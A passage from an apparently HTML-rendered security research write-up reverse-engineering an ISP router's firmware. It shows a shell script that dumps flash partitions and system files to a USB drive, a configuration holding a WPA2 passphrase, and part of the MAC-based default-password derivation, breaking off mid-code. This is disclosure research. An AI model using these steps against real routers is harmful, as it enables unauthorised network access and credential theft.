class=&quot;se&quot;&gt;\&lt;/span&gt;
           &lt;span class=&quot;nv&quot;&gt;of&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;WHERE&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/fw-&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;.bin&quot;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;bs&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;1 &lt;span class=&quot;nv&quot;&gt;conv&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;noerror&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;done
    for &lt;/span&gt;i &lt;span class=&quot;k&quot;&gt;in &lt;/span&gt;0 1 2 3 4 5 6 7 8 9 10&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;CurDisk: mtd&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;dd &lt;/span&gt;&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;/dev/mtd&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
           &lt;span class=&quot;nv&quot;&gt;of&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;WHERE&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/fw-&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;b.bin&quot;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;bs&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;1 &lt;span class=&quot;nv&quot;&gt;conv&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;noerror&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;done
    &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sync&lt;/span&gt;

    &lt;span class=&quot;c&quot;&gt;# Make simple FS copy&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;DDIR&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;pwd&lt;/span&gt;&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;WHERE&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;/var/tmp/media/0AAA-0E65/HOMEROUTER
    &lt;span class=&quot;nb&quot;&gt;cd&lt;/span&gt; /
	&lt;span class=&quot;nb&quot;&gt;mkdir&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-p&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$WHERE&lt;/span&gt;
	find /proc &lt;span class=&quot;nt&quot;&gt;-type&lt;/span&gt; f | &lt;span class=&quot;nb&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-v&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'/sys/'&lt;/span&gt; | &lt;span class=&quot;nb&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-v&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'/net/'&lt;/span&gt; | &lt;span class=&quot;nb&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-v&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'/kmsg'&lt;/span&gt; | &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
       &lt;span class=&quot;k&quot;&gt;while &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;read &lt;/span&gt;F &lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do
   		&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;D&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;WHERE&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;/&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;F&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;%/*&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;
   		&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;D: &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$D&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;  F: &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$F&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; WHERE: &lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;WHERE&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$F&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;
   		&lt;span class=&quot;nb&quot;&gt;test&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-d&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$D&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;mkdir&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-p&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$D&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;DIR: &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$D&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;
   		&lt;span class=&quot;nb&quot;&gt;test&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-f&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;WHERE&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$F&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$F&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;WHERE&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$F&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;done
	&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;cd&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$DDIR&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;fi&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This is actually very powerful and convenient attack vector. One comes with USB drive to the router,
plugs it in and has a WPA2 password in seconds (all system configuration).&lt;/p&gt;

&lt;p&gt;I’ve created a TAR of the whole filesystem plus raw binary images of the mounted file system.
With SSH I could start to mess around with the router firmware.&lt;/p&gt;

&lt;p&gt;Firstly, the quick review of mounted file systems:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;# mount
rootfs on / type rootfs (rw)
/dev/root on / type squashfs (ro,relatime)
proc on /proc type proc (rw,relatime)
ramfs on /var type ramfs (rw,relatime)
sysfs on /sys type sysfs (rw,relatime)
tmpfs on /dev type tmpfs (rw,relatime)
devpts on /dev/pts type devpts (rw,relatime,mode=600)
/dev/mtdblock10 on /nvram type jffs2 (rw,relatime)
tmpfs on /fss type tmpfs (rw,relatime)
/dev/mtdblock6 on /fss/gw type squashfs (ro,relatime)
/dev/mtdblock7 on /fss/fss2 type squashfs (ro,relatime)
/dev/mtdblock9 on /fss/fss3 type squashfs (ro,relatime)
tmpfs on /etc type tmpfs (rw,relatime)
/dev/sda1 on /var/tmp/media/0AAA-0E65 type vfat (rw,relatime,fmask=0022,dmask=0022,codepage=cp437,iocharset=utf8,shortname=mixed,errors=remount-ro)

# cat /proc/mtd
dev:    size   erasesize  name
mtd0: 00020000 00010000 &quot;U-Boot&quot;
mtd1: 00010000 00010000 &quot;env1&quot;
mtd2: 00010000 00010000 &quot;env2&quot;
mtd3: 00b80000 00010000 &quot;UBFI1&quot;
mtd4: 001c191c 00010000 &quot;Kernel&quot;
mtd5: 00504c00 00010000 &quot;RootFileSystem&quot;
mtd6: 00377000 00010000 &quot;FS1&quot;
mtd7: 00440000 00010000 &quot;FS2&quot;
mtd8: 00b80000 00010000 &quot;UBFI2&quot;
mtd9: 00400000 00010000 &quot;FS3&quot;
mtd10: 00080000 00010000 &quot;nvram&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Calling the cli command revealed firmware version&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;# cli
IMAGE_NAME=vgwsdk-3.5.0.24-150324.img
FSSTAMP=20150324141918
VERSION=EVW3226_1.0.20
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;While USB was dumping the firmware I went for the target - WiFi password. In the process list &lt;code class=&quot;highlighter-rouge&quot;&gt;ps -a&lt;/code&gt; I’ve found:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;5681 admin     1924 S    hostapd -B /tmp/secath0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;hostapd&lt;/code&gt; is clearly the daemon running WiFi. It has the password to the WiFi stored in its configuration.
And clearly, there must be a binary/script that generates that configuration when user changes the
password OR the router is factory reset.&lt;/p&gt;

&lt;p&gt;The file &lt;code class=&quot;highlighter-rouge&quot;&gt;secath0&lt;/code&gt; stores the current WiFi configuration. I select only relevant lines for simplicity. The configuration file stated:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;interface=ath0
bridge=rndbr1
dump_file=/tmp/hostapd.dump
ctrl_interface=/var/run/hostapd
ssid=UPC2659797

wpa=3
wpa_passphrase=IVGDQAMI
wpa_key_mgmt=WPA-PSK
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Great, we have &lt;em&gt;SSID&lt;/em&gt; and &lt;em&gt;PASSPHRASE&lt;/em&gt; stored here. Something must have generated this configuration file.&lt;/p&gt;

&lt;h2 id=&quot;firmware-analysis&quot;&gt;Firmware Analysis&lt;/h2&gt;

&lt;p&gt;For more experiments, we use &lt;code class=&quot;highlighter-rouge&quot;&gt;router-image-root.tar&lt;/code&gt;, extract it on local file system to look around. With this
 we find interesting binaries that have something to do with &lt;code class=&quot;highlighter-rouge&quot;&gt;secath0&lt;/code&gt; file.
Note this is naive approach, the thing you try first. Binaries might have been obfuscated so the strings
won’t reveal anything. In this case, we were lucky.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;find . -type f -exec grep -il 'secath0' {} \;
./fss/gw/lib/libUtility.so
./fss/gw/usr/sbin/aimDaemon
./fss/gw/usr/www/cgi-bin/setup.cgi
./var/tmp/conf_filename
./var/tmp/www/cgi-bin/setup.cgi
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;There are obviously 3 nice looking candidates to inspect further: &lt;code class=&quot;highlighter-rouge&quot;&gt;libUtility.so&lt;/code&gt;, &lt;code class=&quot;highlighter-rouge&quot;&gt;aimDaemon&lt;/code&gt;, &lt;code class=&quot;highlighter-rouge&quot;&gt;setup.cgi&lt;/code&gt;.
You can also find those attached to the article. Running strings at those files reveals a lot of interesting stuff.
Even bizarre - more on that later.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;Setup.cgi&lt;/code&gt; - it is the main script that handles changes in the router admin user interface (www, cgi).
Lets look at it with IDA Pro. The function list got my attention:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/static/ubee/functionTable.png&quot;&gt;&lt;img src=&quot;/static/ubee/functionTable.png&quot; alt=&quot;Function table&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Symbols were not removed, which makes analysis substantially easier (child play even).
&lt;code class=&quot;highlighter-rouge&quot;&gt;GWDB_UBEE_DEFAULT_SSID_SET&lt;/code&gt; looks promising. Function graph calling this looks like this:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/static/ubee/callGraph01.png&quot;&gt;&lt;img src=&quot;/static/ubee/callGraph01.png&quot; alt=&quot;Call graph&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So &lt;code class=&quot;highlighter-rouge&quot;&gt;sub_17CF0&lt;/code&gt; could be some kind of factory reset / apply settings routine. Which indeed is, as function
inspection shown. I recommend going through the whole routine to get impression how that works in detail.
Basically, it sets MAC addresses, generates SSIDs, passwords, sets up the firewall and parental control,
some settings are stored to &lt;code class=&quot;highlighter-rouge&quot;&gt;/nvram/*&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/static/ubee/sub17CF0Intro.png&quot;&gt;&lt;img src=&quot;/static/ubee/sub17CF0Intro.png&quot; alt=&quot;sub_17CF0 intro&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;These chunks are particularly interesting to me:&lt;/p&gt;

&lt;table&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;img src=&quot;/static/ubee/defaultPassphraseSet.png&quot; alt=&quot;Default Passphrase set&quot; /&gt;&lt;/td&gt;
      &lt;td&gt;&lt;img src=&quot;/static/ubee/defaultSSIDSet.png&quot; alt=&quot;Default SSID set&quot; /&gt;&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;BTW just a side note, the programmer of this router is probably the kind of guy who presses CTRL+C multiple times when
copying something, just to be sure it really did copy to clipboard:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/static/ubee/syncSyncSync.png&quot;&gt;&lt;img src=&quot;/static/ubee/syncSyncSync.png&quot; alt=&quot;Sync Sync Sync&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So &lt;code class=&quot;highlighter-rouge&quot;&gt;GenUPCDefaultPassPhrase&lt;/code&gt; is our target. This one is not directly in the &lt;code class=&quot;highlighter-rouge&quot;&gt;setup.cgi&lt;/code&gt; file but it is an
imported function. Simple search gives where else this symbol is mentioned:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;find . -type f -exec grep -il 'GenUPCDefaultPassPhrase' {} \;
./fss/gw/lib/libUtility.so
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The file &lt;code class=&quot;highlighter-rouge&quot;&gt;libUtility.so&lt;/code&gt; also has symbols in it. Finding the generation function and reversing it was quite simple.
I had quite funny moments when reversing the function so I recommend to go through it.
I minimize the level of boring details. Attached assembly snippets are just for illustrative purposes, no need to study it in depth…&lt;/p&gt;

&lt;h4 id=&quot;genupcdefaultpassphrase&quot;&gt;GenUPCDefaultPassPhrase&lt;/h4&gt;
&lt;p&gt;The &lt;code class=&quot;highlighter-rouge&quot;&gt;GenUPCDefaultPassPhrase&lt;/code&gt; function intro looks like this:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/static/ubee/genIntro.png&quot;&gt;&lt;img src=&quot;/static/ubee/genIntro.png&quot; alt=&quot;Intro&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Function intro&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;The function does some initialization in the beginning, local variable setting and so on.
A few instructions later, it reads a file &lt;code class=&quot;highlighter-rouge&quot;&gt;/nvram/1/1&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/static/ubee/nvramRead.png&quot;&gt;&lt;img src=&quot;/static/ubee/nvramRead.png&quot; alt=&quot;NVRAM read&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;NVRAM read&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Depending on the mode input parameter (binary flag determining band, 2.4 or 5 GHz), it reads &lt;em&gt;6&lt;/em&gt; bytes,
either from offset &lt;em&gt;0x20&lt;/em&gt; or &lt;em&gt;0x32&lt;/em&gt; from the beginning of the file &lt;code class=&quot;highlighter-rouge&quot;&gt;/nvram/1/1&lt;/code&gt;. 6 bytes suggests it is &lt;em&gt;MAC&lt;/em&gt; address of the device.
You don’t have to be genius to guess that, look at the function &lt;code class=&quot;highlighter-rouge&quot;&gt;j_increaseMACAddress&lt;/code&gt; - which increments MAC
address by 1. Luckily, this is the only input the function takes to generate WPA2 passwords! It means one can
generate the exact password, without need to guess the candidate ones (as Blasty found for another model).&lt;/p&gt;

&lt;p&gt;We later discovered the MAC address used as function input is not exactly the BSSID (= MAC of the WiFi interface).
For 2.4GHz network it is numerically smaller by 3. So if BSSID ends on 0xf9, the MAC used for 
computation is 0xf6 for 2.4GHz network.&lt;/p&gt;

&lt;p&gt;Actually when you do &lt;code class=&quot;highlighter-rouge&quot;&gt;hexdump -C nvram/1/1&lt;/code&gt;,&lt;br /&gt;
you can spot something that resembles a MAC address on positions &lt;em&gt;0x20&lt;/em&gt; and  &lt;em&gt;0x32&lt;/em&gt; . Actually the first 3-5
 bytes are same as MACs printed on the label on the router.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/static/ubee/modIncreaseMac.png&quot;&gt;&lt;img src=&quot;/static/ubee/modIncreaseMac.png&quot; alt=&quot;Increase MAC&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;MAC input&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;The MAC address is then plugged to the weird looking magic string. It does:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;sprintf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buff1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;%2X%2X%2X%2X%2X%2X555043444541554C5450415353504852415345&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;mac&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mac&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;mac&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mac&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;mac&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mac&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;It seems like there is a MAC used to derive multiple different outputs (SSID, PASSPHRASE) in the code, so
to differentiate it for different uses, a different suffix is added to it. In fact, converted to ASCII
it says &lt;code class=&quot;highlighter-rouge&quot;&gt;UPCDEAULTPASSPHRASE&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/static/ubee/sprintfMagicString.png&quot;&gt;&lt;img src=&quot;/static/ubee/sprintfMagicString.png&quot; alt=&quot;sprintf Magic string&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Sprintf magic string&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;This resulting string got MD5 hashed:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/static/ubee/hashing01.png&quot;&gt;&lt;img src=&quot;/static/ubee/hashing01.png&quot; alt=&quot;hashing 01&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;MD5 Hashing&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Just in case the hashed string had too much entropy, guys decided to do another &lt;code class=&quot;highlighter-rouge&quot;&gt;sprintf&lt;/code&gt;,
but cutting it down using 3 bytes of entropy at maximum (buff2 contains the MD5 hash):&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;sprintf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buff3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;%.02X%.02X%.02X%.02X%.02X%.02X&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;buff2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xF&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;buff2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xF&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;buff2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xF&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;buff2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xF&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;buff2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xF&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;buff2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xF&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;a href=&quot;/static/ubee/sprintf01.png&quot;&gt;&lt;img src=&quot;/static/ubee/sprintf01.png&quot; alt=&quot;sprintf01&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Sprintf&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;When adding more hashing harmed somebody… So hash it again, so it is really secure:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/static/ubee/hashingAgain.png&quot;&gt;&lt;img src=&quot;/static/ubee/hashingAgain.png&quot; alt=&quot;hashing 02&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;MD5 hashing&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Later things got interesting as well. The following function is doing modulo &lt;code class=&quot;highlighter-rouge&quot;&gt;0x1a = 26&lt;/code&gt;. That is the length of English
alphabet. Somebody is trying to beat &lt;code class=&quot;highlighter-rouge&quot;&gt;[A-Z]{8}&lt;/code&gt; string out of it - which is good for us as UPC password is exactly of
this format.&lt;/p&gt;

&lt;p&gt;So far the WPA2 default password derivation function is basically like this:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;
&lt;span class=&quot;c1&quot;&gt;// 1. MAC + hex(UPCDEAULTPASSPHRASE)&lt;/span&gt;
